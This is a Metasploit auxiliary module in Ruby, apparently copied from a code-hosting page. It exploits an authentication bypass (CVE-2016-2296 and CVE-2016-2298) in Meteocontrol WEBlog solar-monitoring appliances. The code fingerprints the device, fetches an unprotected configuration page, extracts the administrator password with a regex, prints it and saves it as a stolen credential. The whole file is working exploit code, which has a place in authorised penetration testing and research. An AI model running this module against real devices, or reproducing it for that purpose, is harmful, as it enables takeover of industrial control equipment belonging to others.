134 lines
4.2 KiB
Ruby
134 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Meteocontrol WEBlog Password Extractor',
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'Description' => %{
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This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
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},
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'References' =>
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[
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['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
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['CVE', '2016-2296'],
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['CVE', '2016-2298']
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],
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'Author' =>
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[
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'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
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],
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'License' => MSF_LICENSE))
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register_options(
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[
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Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
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], self.class
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)
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end
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def run_host(ip)
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unless is_app_metweblog?
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return
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end
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do_extract
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end
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#
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# Check if App is Meteocontrol WEBlog
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#
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def is_app_metweblog?
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begin
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res = send_request_cgi({
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'uri' => '/html/en/index.html',
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'method' => 'GET'
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
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return false
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end
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if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
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print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
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return true
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else
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print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
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return false
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end
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end
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#
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# Extract Administrator Password
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#
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def do_extract()
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print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
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begin
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res = send_request_cgi({
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'uri' => '/html/en/confAccessProt.html',
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'method' => 'GET'
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
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return
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end
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if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
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get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
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if get_admin_password[1]
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admin_password = get_admin_password[1]
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print_good("#{rhost}:#{rport} - Password is #{admin_password}")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: 'Meteocontrol WEBlog Management Portal',
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password: admin_password,
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proof: res.body
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)
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else
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# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
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print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
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end
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else
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print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: Time.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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end
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